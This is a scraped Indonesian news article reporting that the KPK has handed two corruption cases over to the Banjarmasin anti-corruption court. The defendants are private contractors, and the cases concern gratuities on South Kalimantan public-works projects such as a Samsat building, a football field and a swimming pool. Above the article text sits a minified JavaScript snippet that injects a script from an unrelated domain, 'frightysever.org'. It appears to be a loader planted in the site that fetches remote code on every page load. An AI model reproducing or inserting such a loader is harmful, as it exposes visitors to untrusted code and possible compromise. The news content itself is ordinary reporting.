(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Komisi Pemberantasan Korupsi (KPK) melimpahkan perkara dugaan korupsi proyek pada Dinas PUPR Kalimantan Selatan (Kalsel) ke Pengadilan Tindak Pidana Korupsi (Tipikor) wilayah Pengadilan Negeri (PN) Banjarmasin.
Hal itu diketahui berdasarkan penelusuran di laman Sistem Informasi Penulusuran Perkara (SIPP) PN Banjarmasin, dua perkara dengan penuntut umum KPK terdaftar dan siap disidangkan.
Perkara pertama teregister dengan nomor 40/Pid.Sus-TPK/2024/PN Bjm atas nama terdakwa Andi Susanto dengan 8 orang tim penuntut umum KPK.
Kemudian nomor 41/Pid.Sus-TPK/2024/PN Bjm terdakwa Sugeng Wahyudi dengan penuntut umum yang sama.
Baca juga: Wangi Wadai Apam Barabai Merambah Ibu Kota
Humas PN Banjarmasin Rustam Parluhutan SH MH saat dikonfirmasi membenarkan pelimpahanan dua perkara yang ditangani KPK tersebut.
Pelimpahan berkas perkara tindak pidana khusus tersebut ke PTSP PN Banjarmasin dilakukan pada Selasa (17/12/2024) kemarin.
“Kemarin penuntut umum dari KPK ada melimpahkan dua berkas perkara, terdakwa SW, kemudian nomor 40 atas nama terdakwa AS, keduanya dari pihak swasta,” kata Rustam, Rabu (18/12/2024) siang.
Baca juga: Warga Rantau Bakula Mengadu ke DPRD Kalsel, Minta Evaluasi Aktivitas Tambang
Jadwal sidang perdana dengan agenda pembacaan surat dakwaan untuk kedua terdakwa digelar awal tahun 2025, tepatnya pada Kamis (2/1/2025) di ruang sidang Pengadilan Tipikor, Jalan Pramuka, Banjarmasin.
“Pihak pengadilan telah menetapkan sidang perdana pada hari Kamis 2 Januari 2025,” kata Rustam.
Akan tetapi Humas PN Banjarmasin belum membeberkan susunan majelis hakim yang akan mengadili dua perkara yang dilimpahkan KPK itu.
Diketahui, Sugeng Wahyudi dan Andi Susanto merupakan pihak swasta yang menjadi tersangka saat operasi tangkap tangan (OTT) KPK terkait dugaan gratifikasi proyek pada Dinas PUPR Kalsel.
Baca juga: KPU Banjarbaru Tak Hadir Sidang Gugatan di PN Banjarbaru
Belum lama tadi, penahanan kedua terdakwa telah dipindah ke Lapas Kelas II A Teluk Dalam Banjarmasin dengan status tahanan titipan KPK.
Selain dua orang itu, KPK juga menangkap Kepala Dinas PUPR Kalsel Ahmad Solhan, Kabid Cipta Karya PUPR Kalsel sekaligus PPK Yulianti Erlynah.
Kemudian Agustya Febry Andrean selaku Plt Kepala Bagian Rumah Tangga Gubernur Kalsel, dan Ahmad.
Keenamnya ditetapkan tersangka dalam dugaan gratifikasi tiga proyek, salah satunya pembangunan Gedung Samsat Terpadu di Jalan Ahmad Yani Km 17, Kecamatan Gambut, Kabupaten Banjar.
Anggaran yang digelontorkan Pemprov Kalsel untuk pembangunan sebesar Rp22.268.020.250 dikerjakan oleh PT Haryadi Indo Tama (HIU).
Baca juga: Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?
Dua proyek lain yaitu pembangunan lapangan sepak bola yang berada di Kawasan Olahraga Terintegrasi Provinsi Kalsel sebesar Rp23.248.949.136 dengan penyedia PT Wismani Kharya Mandiri (WKM).
Dan pembangunan kolam renang di Kawasan Olahraga Terintegrasi Provinsi Kalsel dengan biaya Rp9.178.205.930 dengan penyedia terpilih CV Bangun Banua Bersama (CBB). (Kanalkakimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More
KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Keberadaan wadai apam Barabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah warga dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar mendatangi… Read More
KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) mendukung penuh langkah Pemerintah dalam menyalurkan paket stimulus ekonomi… Read More
This website uses cookies.